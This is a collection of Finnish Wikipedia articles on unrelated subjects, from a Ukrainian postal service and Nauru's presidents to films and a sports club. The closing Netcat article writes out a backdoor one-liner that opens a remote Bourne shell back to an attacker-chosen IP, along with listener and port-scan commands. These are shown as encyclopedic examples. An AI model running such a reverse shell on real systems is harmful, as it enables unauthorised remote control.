stanford-oval/wikipedia huggingface dataset:
Ukrpošta
Historia

Se perustettiin 13. toukokuuta 1947, jolloin postilaitos liittyi myös maailman postiliittoon.
Ukrpošta toimi Neuvostoliiton televiestintäministeriön tasavaltalaisena välitoimintona Ukrainan SNT:n alueilla ja sen keskus sijaitsi Moskovassa. Ukrainan SNT:llä ei ollut erillistä televiestintäjärjestelmää joten se oli täysin integroitu Neuvostoliiton televiestintäjärjestelmään. Osana Mihail Gorbatšovin uudistuksia vuonna 1991 perustettiin Ukrtelekom Neuvosto-Ukrainaan. Se otti hoitaakseen kaikki viestintävälineet, mukaan lukien postin ja televiestinnän.
Vuonna 1994 Ukrpošta aloitti toimimaan erillisenä liiketoimintayksikkönä Ukrtelekomin rakenneuudistuksen jälkeen. Tämän jälkeen Ukrpošta on tarjonnut postipalveluita, kun taas Ukrtelekom puhelin- ja lennätinpalveluita. Vuodesta 1994 lähtien Ukrpoštan on ollut taloudellisesti itsenäinen organisaatio.
Heinäkuussa 1998 Ukrpošta uudistettiin maan uuden hallituksen pyynnöstä.
Vuosina 1999–2015 Ukrpošta oli Ukrainan hallituksen omistama yritys. Vuodesta 2001 lähtien Ukrpoštan toimintaa ovat säädelleet postipalvelulaki ja muut lait. Yhtiön nykyrakenne johtuu vuonna 2001 säädetystä laista, jonka mukaan Ukrpošta noudattaa sekä Ukrainan että maailman postiliiton säädöksiä. Vuodesta 2002 lähtien Ukrpošta on toiminut maan infrastruktuuriministeriön alaisuudessa.
Toiminta nykyään

Yhtiön toimitusjohtajana toimii Ihor Smiljanskyi (2/2023).
Vuonna 2023 Ukrpoštalla on oman ilmoituksensa mukaan noin 11 000 toimipaikkaa (niin pysyviä postitoimistoa ja mobiilitoimistoja). Työntekijäitä yhtiöllä on noin 50 000.
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta Ukrpošta Wikimedia Commonsissa
Netfilter

| Netfilter |
| --- | --- |
Luoja:  Rusty Russell
Kehittäjä:  Netfilter Core Team
Kehityshistoria
Ensijulkaisu:  1998
Vakaa versio:  5.2.1 / 14. heinäkuuta 2019
Kehitystilanne:  aktiivinen
Tiedot
Ohjelmistotyyppi:  pakettisuodatin
Alusta:  Linux
Ohjelmointikielet:  C
Lisenssi:  GPLv2
Aiheesta muualla
Verkkosivusto
Netfilter on Linuxin ytimessä versiosta 2.4 lähtien oleva järjestelmä verkkopakettien muokkaamiseen ja pysäyttämiseen. Sen asetuksia muokataan yleensä iptablesin avulla.
nftables on iptablesin seuraaja.
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta Netfilter Wikimedia Commonsissa
Kotisivu (englanniksi)
Netfilter Linux Wiki
Valter Juva

| Valter Juva |
| --- | --- |

Henkilötiedot
Koko nimi:  Valter Henrik Juvelius
Syntynyt: 3. syyskuuta 1865 Pyhäjoki
Kuollut: 25. joulukuuta 1922 (57 vuotta) Viipuri
Kirjailija
Salanimi: Heikki Kenttä
Aiheesta muualla
Löydä lisää kirjailijoitaKirjallisuuden teemasivulta
Valter Juva (oik. Valter Henrik Juvelius; 3. syyskuuta 1865 Pyhäjoki – 25. joulukuuta 1922 Viipuri) oli suomalainen kirjailija ja kääntäjä, joka käytti salanimeä Heikki Kenttä. Hän on kääntänyt runsaasti maailmankirjallisuutta, mutta hänet muistetaan erityisesti runosta "Karjalan kunnailla lehtii puu".
Tuotanto > Omat teokset

Judarnes tideräkning i ny belysning, Valter Juvelius 1906
Kuvia ja säveliä, Otava 1897
Maahengen salaisuus, salanimellä Heikki Kenttä; Otava 1915
Matkan varrelta, WSOY 1914
Runoja, Boman ja Karlsson 1902
Valkoinen kameeli ja muita kertomuksia itämailta, salanimellä Heikki Kenttä; Otava 1916
Tuotanto > Käännökset

Burns, Robert: Lauluja ja ballaadeja, Kustannusoy. Fundament 1918
Fröding, Gustaf: Valikoima runoja, Otava 1915
Goethe, Johann Wolfgang von: Faust 1, Otava 1916
Heine, Heinrich: Laulujen kirja, WSOY 1917
Heine, Heinrich: Valikoima runoelmia, Yrjö Weilin 1905
Runeberg, Johan Ludvig: Jouluilta, WSOY 1921
Rydberg, Viktor: Tonttu, Kustannus PK 1945
Sata runoa, WSOY 1916
Tavaststjerna, Karl August: Valikoima runoelmia, Yrjö Weilin 1904
Tegnér, Esaias: Fritiofin satu, WSOY 1905
Topelius, Zacharias: Adalminan helmi ja valikoima Z. Topeliuksen satuja, Tarkiaisen ja Jäämaan kanssa; WSOY 2005
Topelius, Zacharias: Lukemisia lapsille, Tarkiaisen kanssa; WSOY 1905–1907
Topelius, Zacharias: Muurahainen lääkärissä, Tarkiaisen ja Jäämaan kanssa; WSOY 2005
Topelius, Zacharias: Satuja ja runoja 1–2, Tarkiaisen kanssa; WSOY 1907
Topelius, Zacharias: Topeliuksen kauneimmat näytelmät, Tarkiaisen ja Jäämaan kanssa; WSOY 1979
Kirjallisuutta

Stewart, Timo R.: Valter Juvelius ja kadonneen arkin metsästys.  Helsinki:  Gaudeamus, 2020.  ISBN 978-952-345-096-7.
Aiheesta muualla

Lisää luettavaa aiheesta Valter Juva on Wikiaineistossa
Vapaasti ladattavia Valter Juvan e-kirjoja Projekti Lönnrotissa sekä Project Gutenbergissä.
Valter Juva Lappeenrannan maakuntakirjaston Carelica-kokoelman sivulla.
Vaaralliset lelut

Vaaralliset lelut oli Tampereella alkukesästä vuonna 1980 perustettu rockyhtye. Sen keulahahmoina olivat Kollaa kestään rumpali Jyrki Siukonen ja saksofonisti Jukka Mikkola.
Aku Ankka ‑sarjakuvasta ”Vaarallinen lelu” nimensä ottaneen yhtyeen ensisingle ”Viidakko kotona” äänitettiin Finnvoxin studioilla ja se ilmestyi Johannan julkaisemana kesällä 1980. Debyyttialbumi Lasisilmäpeli ilmestyi vuodenvaihteessa 1980–1981. Albumilla olivat mukana myös Erik Ahonen (perkussiot), Eeva Koivusalo (basso) ja Jouko Turunen (basso).
Vuonna 1981 ilmestyi Vaarallisten lelujen kokeellista rokkia sisältänyt, pääosin Siukosen olohuoneessa äänitetty Ystävämme hyönteiset. Yhtyeen viimeiseksi albumiksi jäi vuonna 1982 ilmestynyt Seppo ja Antero, jonka A-puoli oli studiomateriaalia ja B-puoli livenä äänitettyjä kappaleita. Vuonna 1984 Power julkaisi yhtyeen jälkeenjääneistä äänityksistä koostetun Hedelmiä-kasetin.
Vaaralliset lelut esiintyi Avanto-festivaaleilla marraskuussa 2005.
Kokoonpano

Jyrki Siukonen – kitara
Jukka Mikkola – saksofoni
Matti Kurikka – laulu, kitara, viulu
Pekka Seppänen – bassokitara, kosketinsoittimet
Jari Kivelä – rummut
Diskografia

Lasisilmäpeli (Johanna, 1981) (loppuvuosi 1980?)
Ystävämme hyönteiset (Johanna, 1981)
Seppo ja Antero (Johanna, 1982)
Aiheesta muualla

Vaaralliset lelut ‑yhtyeen esitystuotanto Suomen äänitearkistossa (1901–1999)
Jukka Lindforsin artikkeli Vaarallisista leluista vuoden 2005 Avanto-festivaalien sivuilla (Arkistoitu – Internet Archive)
New York Stadium

New York Stadium
New York Stadium on Rotherhamissa, South Yorkshiressa, Englannissa sijaitseva jalkapallostadion. Se avattiin heinäkuussa 2012, ja se toimii Rotherham Unitedin kotistadionina.
Stadionin rakentaminen alkoi heinäkuussa 2011. Avausotteluna pelattiin ystävyysottelu Rotherham Unitedin ja Barnsley FC:n välillä 21. heinäkuuta 2012. Ensimmäinen liigaottelu stadionilla oli 18. elokuuta 2012 pelattu Rotherham Unitedin ja Burton Albionin välinen Kakkosliigan ottelu, jota seurasi 11 441 katsojaa. Stadionille mahtuu 12 000 katsojaa. Sen rakentaminen maksoi noin 20 miljoonaa puntaa.
New York Stadiumilla pelattiin vuonna 2018 alle 17-vuotiaiden Euroopan-mestaruuskilpailujen loppuottelu. Vuonna 2022 stadionilla pelattiin naisten Euroopan-mestaruuskilpailuissa kolme alkulohko-ottelua ja yksi puolivälierä.
New York Stadium ulkopuolelta.
Aiheesta muualla

Kuvia tai muita tiedostoja aiheesta New York Stadium Wikimedia Commonsissa
Naurun presidentti

| Naurun presidentti |
| --- | --- |
 President of the Republic of Nauru President Repubrik Naoero
 
 
 Nykyinen Russ Kun 29. syyskuuta 2022 lähtien
Virka-asunto:  Valtiontalo
Kauden pituus:  3 vuotta, uudelleenvalinta mahdollinen
Perustettu:  31. tammikuuta 1968
Ensimmäinen:  Hammer DeRoburt
Palkka:  100 032 AU$ vuodessa (2016)
Naurun presidentti (engl. President of Nauru, nauruksi Pretiden Naoero) on Naurun tasavallan valtionpäämies ja hallituksen johtaja. Presidentin valitsee 18-jäseninen Naurun parlamentti. Virkakauden pituus on kolme vuotta, ja parlamentti valitsee ensimmäisessä istunnossa puhemiehen, varapuhemiehen ja presidentin. Presidentti nimittää itselleen vähintään nelihenkisen hallituksen. Presidentti toimii myös virkansa puolesta maan poliisi- ja pelastustoimesta sekä ilmastonmuutoksen torjunnasta vastaavien virastojen puheenjohtajana. Vuonna 2016 presidentin vuosipalkka oli 100 032 Australian dollaria.
Maan perustuslain mukaan presidentiksi valittavan henkilön tulee olla pätevä toimimaan parlamenttiedustajana, eli hänen tulee täyttää seuraavat ehdot:
vähintään 20-vuotias
Naurun kansalainen
ei ole erikseen tuomittu menettämään poliittisia oikeuksiaan
Parlamentin puhemies tai varapuhemies ei voi toimia presidenttinä.
Nykyinen presidentti on Russ Kun. Hän vannoi virkavalansa 29. syyskuuta 2022.
Luettelo Naurun presidenteistä

Hammer DeRoburt (1968–1976)
Bernard Dowiyogo (1976–1978)
Lagumot Harris (1978)
Hammer DeRoburt (1978–1986)
Kennan Adeang (1986)
Hammer DeRoburt (1986)
Kennan Adeang (1986)
Hammer DeRoburt (1986–1989)
Kenos Aroi (1989)
Bernard Dowiyogo (1989–1995)
Lagumot Harris (1995–1996)
Bernard Dowiyogo (1996)
Kennan Adeang (1996)
Ruben Kun (1996–1997)
Kinza Clodumar (1997–1998)
Bernard Dowiyogo (1998–1999)
René Harris (1999–2000)
Bernard Dowiyogo (2000–2001)
René Harris (2001–2003)
Bernard Dowiyogo (2003)
René Harris (2003)
Bernard Dowiyogo (2003)
Derog Gioura (2003)
Ludwig Scotty (2003)
René Harris (2003–2004)
Ludwig Scotty (2004–2007)
Marcus Stephen (2007–2011)
Freddie Pitcher (2011)
Sprent Dabwido (2011–2013)
Baron Waqa (2013–2019)
Lionel Aingimea (2019–2022)
Russ Kun (2022–)
Vaaralliset kädet

| Vaaralliset kädet> The Hands of Orlac |
| --- | --- |

Ohjaaja:  Edmond T. Gréville
Käsikirjoittaja:  Edmond T. Gréville John Baines Donald Taylor
Perustuu:  Maurice Renardin romaaniin
Tuottaja:  Steven Pallos Donald Taylor
Säveltäjä:  Claude Bolling
Kuvaaja:  Desmond Dickinson
Leikkaaja:  Oswald Hafenrichter
Pääosat:  Mel Ferrer Christopher Lee
Valmistustiedot
Valmistusmaa:   Yhdistynyt kuningaskunta  Ranska
Tuotantoyhtiö:  Pendennis Films Ltd. Riviera International Film Société Cinématographique des Studios de la Victorine
Ensi-ilta:   Joulukuussa 1960  12. huhtikuuta 1961  30. maaliskuuta 1962  13. toukokuuta 1964
Kesto:  95 minuuttia 104 minuuttia (Ranska)
Alkuperäiskieli:  englanti, ranska
Aiheesta muualla
IMDb 
Elonet
AllMovie
Infobox OKNimi-testi OK: 
Vaaralliset kädet (engl. The Hands of Orlac; ransk. Les mains d'Orlac) on Edmond T. Grévillen ohjaama brittiläis-ranskalainen kauhutrilleri vuodelta 1960. Kauhutrillerin pääosissa ovat Mel Ferrer ja Christopher Lee. Vaaralliset kädet perustuu Maurice Renardin romaaniin.
Vaaralliset kädet kuvattiin samaan aikaan sekä englanniksi että ranskaksi. Sujuvasti ranskaa puhuvat Mel Ferrer ja Christopher Lee käyttivät omia ääniään molemmissa ääniraidoissa.
Vaaralliset kädet julkaistiin Isossa-Britanniassa joulukuussa vuonna 1960; Ranskan ensi-ilta oli 12. huhtikuuta vuonna 1961. Suomessa elokuva ilmestyi 30. maaliskuuta vuonna 1962.
Juoni

Vaaralliset kädet kertoo kuuluisasta konserttipianisti Stephen Orlacista (Ferrer), jonka kädet tuhoutuu lentokoneonnettomuudessa. Kirurgi Volchett (Wolfit) suorittaa hänelle kädensiirron; valitettavasti kädet olivat ennen kuuluneet teloitetulle murhaajalle. Orlac pian huomaa, että kädet alkaa vallata hänen elämänsä, ja entinen pianisti alkaa syyllistyä rikoksiin. Rähjäinen taikuri (Lee) huomaa mitä on tapahtumassa ja alkaa kiristää häntä.
Näyttelijät

| 0 | 1 | 2 |
| --- | --- | --- |
|  Mel Ferrer  | … |  Stephen Orlac   |
|  Christopher Lee  | … |  Taikuri Nero   |
|  Dany Carrel  | … |  Régina / Li-Lang   |
|  Lucile Saint-Simon  | … |  Louise Cochrane Orlac   |
|  Felix Aylmer  | … |  Tohtori Francis Cochrane   |
|  Peter Reynolds  | … |  Herra Felix   |
|  Basil Sydney  | … |  Maurice Seidelman   |
|  Campbell Singer  | … |  Komisario Henderson   |
|  Donald Wolfit  | … |  Professori Volchett   |
|  Donald Pleasence  | … |  Graham Coates   |
|  Mireille Perrey  | … |  Madame Aliberti   |
|  Manning Wilson  | … |  Komisario Jagger   |
|  Yanilou  | … |  Emilie   |
|  Edouard Hemme  | … |  Auge   |
Aiheesta muualla

Vaaralliset kädet Internet Movie Databasessa (englanniksi)
Vaaralliset kädet Elonet.
Vaaralliset kädet AllMoviessa. (englanniksi)
Vermuntilan Tempo

| Vermuntilan Tempo |
| --- | --- |

Perustettu:  1945
Lakkautettu:  2013
Kaupunki:   Rauma, Suomi
Kotiareena:  Vermuntilan jäähalli
– kapasiteetti:  1990
Värit:                     
Infobox OKVirheellinen NIMI-arvo: 
VT-HT eli Vermuntilan Tempo on Raumalla, Vermuntilan kylässä toiminut jääkiekkoseura. Seura on perustettu vuonna 1945, mutta jääkiekkotoiminta alkoi vasta vuonna 1978. VT-HT pelasi aluksi Rauman kylien Kyläkiekko-sarjassa. 1990-luvulla alkoi nousu aina Suomen kolmanneksi korkeimmalle sarjatasolle eli Suomi-sarjaan saakka. Siellä se pelasi yhteensä kolme kautta, mutta joutui luopumaan sarjapaikastaan pelaajapulan vuoksi. Seuran viimeinen kausi II divisioonassa oli 2012-2013 jonka jälkeen toiminta ajettiin alas.
Halli

1990-luvun alussa Tempo rakennutti Vermuntilaan jäähallin, jota kutsutaan Vermuntilan jäähalliksi ja Tempohalliksi.
Entisiä pelaajia

| --- | --- |
 Juuso Akkanen (2005–2006)  Patrik Forsbacka (2004–2005)  Esko Heinonen (1997–2008)  Mika Julkunen (2003–2004, 2005–2009)  Juha Kukkonen (1998–1999, 2000–2006)  Tommi Kulmala (2001–2008)  Tuomas Montonen (2003–2010)  Krister Pietsalo (2002–2003, 2004–2006, 2007–2009)  Saku Porkola (1999–2005, 2006–2008) :  Jyrki Pönkkä (1998–1999)  Jussi Saarenheimo (2001–2010)  Reeti Sahlstedt (2004–2009)  Sauli Seikkula (2004–2010)  Janne Siivonen (2007–2010)  Petri Tervo (2000–2009)  Mikael Vahander (2000–2010)  Joni Virtanen (1999–2010)  Juha Voutilainen (2001–2008) 
Joona Peltonen (2007-2013)
Aiheesta muualla

Vermuntilan Tempon, eli VT-HTn kotisivut (Arkistoitu – Internet Archive)
VT-HT - Kyläkiekosta Mestiksen porteille (Jatkoaika.com)
Uinu, uinu lemmikkini (vuoden 2019 elokuva)

| Uinu, uinu lemmikkini> Pet Sematary |
| --- | --- |

Ohjaaja:   Kevin Kölsch  Dennis Widmyer 
Käsikirjoittaja:   Jeff Buhler 
Perustuu:  Stephen Kingin romaaniin Uinu, uinu lemmikkini
Tuottaja:   Lorenzo di Bonaventura  Steven Schneider  Mark Vahradian 
Säveltäjä:  Christopher Young
Kuvaaja:  Laurie Rose
Pääosat:   Jason Clarke  Amy Seimetz  John Lithgow 
Valmistustiedot
Valmistusmaa:  Yhdysvallat
Tuotantoyhtiö:   Di Bonaventura Pictures 
Levittäjä:  Paramount Pictures
Ensi-ilta:   2019-4-55. huhtikuuta 2019 (Yhdysvallat)   2019-4-55. huhtikuuta 2019 (Suomi)  
Kesto:  101 min
Alkuperäiskieli:  englanti
Budjetti:  21 000 000 $
Tuotto:  112 399 944 $
Seuraaja:  Uinu, uinu lemmikkini: Verilinjat
Aiheesta muualla
IMDb 
Elonet
Infobox OKNimi-testi OK: 
Uinu, uinu lemmikkini (engl. Pet Sematary) on vuonna 2019 ensi-iltansa saanut yhdysvaltalainen kauhuelokuva, jonka ohjasivat Kevin Kölsch ja Dennis Widmyer. Elokuva perustuu Stephen Kingin samannimiseen romaaniin vuodelta 1983, jonka pohjalta oli tehty samanniminen elokuva vuonna 1989.
Elokuvan Suomen ensi-ilta oli 5. huhtikuuta 2019 eli samana päivänä kuin Yhdysvalloissa. Elokuvan lopputeksteissä soi punk-yhtye Starcrawlerin cover Ramonesin kappaleesta Pet Sematary. Elokuvan tuleva esiosa, Uinu, uinu lemmikkini: Verilinjat, ilmestyy VOD:lle 23. lokakuuta 2023.
Juoni > Eroavaisuuksia kirjaan ja vanhempaan elokuvasovitukseen

Ellie on vanhempi kuin alkuperäisessä elokuvassa.
Ellie jää rekan alle. Alkuperäisessä teoksessa Gage jää rekan alle ja nousee myöhemmin kuolleista.
Uudessa versiossa juhlitaan Ellien syntymäpäivää.
Elliella ei ole silmälaseja.
Kirjassa Jud Crandallin Norma-vaimo on elossa Creedien asettuessa asumaan Ludlowiin. Uudessa elokuvassa hän on kuollut jo aiemmin.
Rachel ja Gage ajavat Bostoniin autolla. Alkuperäisteoksessa he matkustavat sinne lentokoneella.
Uudessa versiossa ei ole leijanlennätys- tai retkikohtausta.
Gagea näyttelevät kaksospojat Hugo ja Lucas Lavoie, kun taas alkuperäisessä elokuvassa häntä näytteli Miko Hughes.
Uuden version alkupuolella näkyy eläinnaamioihin sonnustautunut lapsikulkue. Kulkuetta ei ole alkuperäisteoksessa.
Alkuperäisen teoksen tavoin uudessa versiossa viitataan lyhyesti Wendigoon, jota ei alkuperäisessä elokuvassa käsitellä.
Uusi Victor Pascow on afro-amerikkalainen.
Rachelin edesmennyt isosisko Zelda on nuorempi ja kuolee eri tavalla kuin alkuperäisessä elokuvassa.
Timmy Batermanin tarinaa ei käsitellä uudessa elokuvaversiossa.
Creedin perheellä ei ole kotiapulaista.
Myös Louis haudataan micmaccien hautausmaalle. Näin ei ole kirjassa tai alkuperäisessä elokuvassa.
Rachel tappaa Louisin lemmikkien hautausmaalla.
Näyttelijät

| 0 | 1 | 2 |
| --- | --- | --- |
|  Jason Clarke  | … |  Louis Creed   |
|  Amy Seimetz ja Sonia Maria Chirila  | … |  Rachel Creed   |
|  John Lithgow  | … |  Jud Crandall   |
|  Jeté Laurence  | … |  Ellie Creed   |
|  Hugo ja Lucas Lavoie  | … |  Gage Creed   |
|  Obssa Ahmed  | … |  Victor Pascow   |
|  Alyssa Brooke Levine  | … |  Zelda Goldman  |
Tuotanto

Uuden Uinu, uinu lemmikkini -elokuvan tuotantoprosessi oli pitkä ja mutkikas, sillä Paramount Pictures ilmoitti jo 5. maaliskuuta 2010 tuottavansa uuden sovituksen Stephen Kingin samannimisestä romaanista. Matt Greenberg palkattiin laatimaan käsikirjoitusta, mutta myöhemmin lopullisen käsikirjoituksen vastuu siirtyi Jeff Buhlerille, joka on toiminut käsikirjoittajana kauhuelokuvissa The Midnight Meat Train ja The Prodigy.
31. lokakuuta 2013 elokuvan tuottajaksi ilmoitettiin Lorenzo di Bonaventura. Steven Schneiderista tuli vastaava tuottaja, kun taas 28 viikkoa myöhemmin -elokuvan ohjauksesta vastanneesta Juan Carlos Fresnadillosta suunniteltiin alun alkaen elokuvan ohjaajaa ennen lopullista päätymistä Starry Eyes -kauhuelokuvan ohjanneisiin Kevin Kölschiin ja Dennis Widmyeriin. Vasta 30. lokakuuta 2017 Paramount näytti virallisesti vihreää valoa tuotannon käynnistämiselle. Kuvaukset aloitettiin 18. kesäkuuta 2018.
Vastaanotto

Elokuva on tuottanut maailmanlaajuisesti 20. huhtikuuta 2019 mennessä 83,5 miljoonaa dollaria. Yhdysvalloissa ja Kanadassa lipunmyynnin tuotto oli 2 500 teattarissa noin 20–30 miljoonaa dollaria ensimmäisenä esitysviikonloppuna.
Rotten Tomatoes -sivustolla elokuvalle on annettu arvosanaksi 58 prosenttia, joka keskiarvona vastaisi 5.99/10. Metacriticissä elokuva sai käyttäjiltä keskiarvoksi 57/100.
Aiheesta muualla

Uinu, uinu lemmikkini (vuoden 2019 elokuva) Internet Movie Databasessa (englanniksi)
https://www.youtube.com/watch?v=nr5kRk0Ba5I elokuvan tunnuskappale: Starcrawler - Pet Sematary
https://www.finnkino.fi/event/302989/title/uinu_uinu_lemmikkini/ (Arkistoitu – Internet Archive)
Neuvostoliiton koripalloliiga

| Neuvostoliiton koripalloliiga |
| --- | --- |
Laji:  koripallo
Perustettu:  1924
Lopetettu:  1992
Eniten mestaruuksia:  TsSKA Moskova (24)
Sarjataso:  1.
Neuvostoliiton koripalloliiga oli vuosina 1924–1992 toiminut Neuvostoliiton koripallon pääsarja. Vuosina 1924, 1928, 1934–1936, 1956, 1959, 1963 ja 1967 Neuvostoliiton mestaruus ratkaistiin kaupunkien, alueiden tai miehityshallintojen kesken.
Mestarit

| 0 | 1 | 2 |
| --- | --- | --- |
|  1924: Venäjän SFNT  1925: ei pelattu  1926: ei pelattu  1927: ei pelattu  1928: Venäjän SFNT  1929: ei pelattu  1930: ei pelattu  1931: ei pelattu  1932: ei pelattu  1933: ei pelattu  1934: Leningrad  1935: Venäjän SFNT  1936: Leningrad  1937: Moskovan Dynamo  1938: Burevestnik Leningrad  1939: Lokomotiv Moskova  1940: Burevestnik Leningrad  1941: ei pelattu  1942: ei pelattu  1943: ei pelattu  1944: DKA Tbilsi  1945: TsSKA Moskova  1946: Dom Officerov Tbilisi  |  1947: Žalgiris Kaunas  1948: Moskovan Dynamo  1949: Tartu Rock  1950: Dinamo Tbilisi  1951: Žalgiris Kaunas  1952: VVS MVO Moskova  1953: Dinamo Tbilisi  1954: Dinamo Tbilisi  1955: ASK Rīga  1956: Latvian SNT  1957: ASK Rīga  1958: ASK Rīga  1959: Venäjän SFNT  1960: TsSKA Moskova  1961: TsSKA Moskova  1962: TsSKA Moskova  1963: Venäjän SFNT  1964: TsSKA Moskova  1965: TsSKA Moskova  1966: TsSKA Moskova  1967: Ukrainan SNT  1968: Dinamo Tbilisi  1969: TsSKA Moskova  |  1970: TsSKA Moskova  1971: TsSKA Moskova  1972: TsSKA Moskova  1973: TsSKA Moskova  1974: TsSKA Moskova  1975: Spartak Leningrad  1976: TsSKA Moskova  1977: TsSKA Moskova  1978: TsSKA Moskova  1979: TsSKA Moskova  1980: TsSKA Moskova  1981: TsSKA Moskova  1982: TsSKA Moskova  1983: TsSKA Moskova  1984: TsSKA Moskova  1985: Žalgiris Kaunas  1986: Žalgiris Kaunas  1987: Žalgiris Kaunas  1988: TsSKA Moskova  1989: Budivelnik Kiova  1990: TsSKA Moskova  1991: Tallinna Kalev  1992: Spartak Leningrad  |
Neoechinorhynchus rutili

| Neoechinorhynchus rutili> Tieteellinen luokittelu |
| --- | --- |
Domeeni::  Aitotumaiset Eucarya
Kunta::  Eläinkunta Animalia
Alakunta::  Eumetazoa
Pääjakso::  Väkäkärsämadot Acanthocephala
Luokka::  Sädeväkäkärsämadot Eoacanthocephala
Lahko::  Neoechinorhynchida
Heimo::  Neoechinorhynchidae
Alaheimo::  Neoechinorhynchinae
Alasuku::  Neoechinorhynchus (Neoechinorhynchus)
Laji::  rutili
Kaksiosainen nimi
 Neoechinorhynchus rutili  (Müller, 1780) Hamann in Stiles & Hassall, 1905 
Katso myös
   Neoechinorhynchus rutili Wikispeciesissä  
Infobox OKNimi-testi OK: 
Neoechinorhynchus rutili on Neoechinorhynchida-lahkoon, Neoechinorhynchidae-heimoon ja Neoechinorhynchinae-alaheimoon kuuluva meri-, murto- ja makeissa vesissä elävä väkäkärsämatolaji. Müller kuvasi sen alun perin tieteelle vuonna 1780 nimellä Echinorhynchus rutili. Laji on joidenkin kalojen, todistetusti ainakin lohen ja juovabassin, sisäloinen.
Netcat

Netcatin komento tietokoneen ruudulla.
Netcat (nc) on ohjelmisto TCP- ja UDP-yhteyksien käsittelyyn. Sillä voi sekä muodostaa erilaisia yhteyksiä toisiin tietokoneisiin että avata portteja ja ottaa vastaan yhteyksiä muilta koneilta. Netcat antaa ennen kaikkea mahdollisuuden säätää kaikkia mahdollisia eri parametreja, kuten lähdeporttia tai tiettyjä TCP-optioita, mikä tekee siitä erittäin hyödyllisen kaikenlaisten TCP/IP-järjestelmien testaamiseen. Sillä onkin kätevä testata vaikkapa palomuurin tai pakettisuodattimen toimintaa.
Netcat on yleiskäyttöisyydestään ja yksinkertaisuudesta huolimatta melko tuore ohjelma.
Hakkeri nimimerkillä _Hobbit_ julkaisi ensimmäisen version vuonna 1995. Alkuperäistä ohjelmaa ei ole ylläpidetty sen suosiosta huolimatta.
Ohjelmasta on lukuisia muiden tekijöiden klooneja, kuten GNU Netcat, OpenBSD:n versio sekä Nmap-projektin Ncat.
Uudemmissa toteutuksissa on mukana IPv6 ja salaustuki, kuten Cryptcat-versiossa.
Mac OS X on sisältänyt netcatin versiosta 10.13 ja Solaris OpenBSD:n netcatin versiosta 11. OpenBSD:n versio on myös mukana FreeBSD:n paketeissa. BusyBox sisältää oman toteutuksensa.
Esimerkkejä

Komento tulostaa oletustulostusvirtaan netcat:n avulla fi:Wikipedian Etusivun HTML-koodin:
perl -e 'print "GET http://fi.wikipedia.org/wiki/Etusivu\n\n";' | nc -vv fi.wikipedia.org 80
Niin sanotun back-kanavan tai ts. takaoven teko kohdejärjestelmästä netcat:n avulla omaan koneeseen:
nc -vv #oma-IP-osoite #porttinumero1 | /bin/sh | nc -vv #oma-ip-osoite #porttinumero2
Jota ennen täytyy omaan koneeseen luoda netcat:llä kuuntelijat esimerkiksi:
nc -l #porttinumero1
 nc -l #porttinumero2
Täten saadaan tyylikkäästi Bourne-shell tai muu haluttu komentotulkki etäkäyttöön.
Voidaan käyttää myös yksinkertaiseen porttiskannaukseen:
nc -z fi.wikipedia.org 1-80
 Connection to fi.wikipedia.org 22 port [tcp/ssh] succeeded!
 Connection to fi.wikipedia.org 80 port [tcp/http] succeeded!
Aiheesta muualla

GNU Netcat
FreeBSD netcat man -sivu
Cryptcat